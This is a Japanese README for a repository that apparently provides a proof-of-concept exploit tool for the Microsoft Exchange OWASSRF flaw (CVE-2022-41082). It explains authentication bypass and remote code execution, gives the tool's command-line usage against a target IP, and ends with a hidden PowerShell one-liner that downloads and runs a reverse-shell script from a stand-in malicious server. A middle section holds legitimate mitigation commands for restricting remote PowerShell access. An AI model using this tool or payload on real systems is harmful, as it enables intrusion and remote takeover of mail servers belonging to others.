CVE-2022-41082

このリポジトリには、Microsoft Exchange サーバーにおける OWASSRF の脆弱性 (CVE-2022-41082) を悪用するための概念実証 (PoC) ツールが含まれています。このエクスプロイトにより、攻撃者はサーバー上で任意のコマンドを実行し、システムを危険にさらす可能性があります。

概要

このツールは OWASSRF の脆弱性を利用して認証をバイパスし、Exchange サーバー上でリモートコード実行 (RCE) を達成します。この脆弱性を悪用することで、攻撃者は認証済みユーザーであるかのようにコマンドを実行でき、深刻なセキュリティ上の影響をもたらします。

動作の仕組み

1. 認証バイパス: ツールは標的の Exchange サーバーに接続し、巧妙に細工されたリクエストを使用して認証メカニズムをバイパスします。
2. リモートコード実行: ログインに成功すると、ツールは Exchange サーバー上でコマンド実行を可能にするセッションを開きます。
3. コマンドの実行: ユーザーはサーバー上で実行するコマンドを指定でき、ファイル操作、ネットワーク操作、リバースシェルの確立など、さまざまなアクションが可能です。

重要な注意事項

このツールを使用するときは、Exchange 管理シェルの同じセッションを開いたままにしておくことを必ず確認してください。他のユーザーのリモート PowerShell アクセスを無効にした後も、少なくとも 1 人のユーザーに対してはリモート PowerShell アクセスを有効にしておくことが重要です。そうしないと、すべての Exchange サーバーで管理シェルへのアクセスを失う可能性があります。

PowerShell アクセスを管理するためのコマンド

アクセス権を持つユーザーを確認および管理するための便利な PowerShell コマンドをいくつか示します。

PowerShell アクセスの確認

リモート PowerShell アクセスが有効なユーザーと無効なユーザーを確認するには、次を実行します。

Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $false'

すべてのユーザーの PowerShell アクセスを無効にする

警告: 少なくとも 1 人のユーザーを戻すまで、Exchange 管理シェルのウィンドウを閉じないように注意してください。

次のコマンドを使用して、すべてのユーザーの PowerShell アクセスを無効にできます。

$user = Get-User -ResultSize Unlimited -Filter 'RemotePowerShellEnabled -eq $true'
$user | foreach {Set-User -Identity $_ -RemotePowerShellEnabled $false}

または、次の 1 つのコマンドで同じ結果を得られます。

Get-User -ResultSize Unlimited | Set-User -RemotePowerShellEnabled $false

特定のユーザーのアクセスを再度有効にする

特定のユーザーにリモート PowerShell アクセスを許可するには、次を実行します。

Set-User "guest" -RemotePowerShellEnabled $true

PowerShell アクセスを失った場合の回避策

すべてのユーザーの PowerShell アクセスを失った場合は、管理者権限を持つ新しいメールボックスユーザーを作成できます。この新しいユーザーは適用されたポリシーを回避するため、Exchange 管理シェルを再び使用できます。

PoC ツールの使用方法

必要条件

• Python 3.x
• 必要なライブラリ (必要に応じて pip でインストール)

ツールの実行

PoC ツールを実行するには、次のコマンドを実行します。

python3 poc.py -H <target_IP> -u <username> -p <password> -c <command_file>

<target_IP>、<username>、<password>、<command_file> をそれぞれの値に置き換えてください。

リバースシェルのコマンド例

cmd_file 内のコマンドを変更して、リバースシェルペイロードを含めることができます。例：

powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('http://your-malicious-server.com/reverse.ps1')"

このコマンドは、サーバーから PowerShell スクリプトをダウンロードして実行し、リバースシェルを提供します。

参考情報

OWASSRF の脆弱性と PoC コードの詳細については、次のリンクを参照してください: OWASSRF CVE-2022-41082 PoC および https://www.youtube.com/watch?v=c2DZYP6jc7g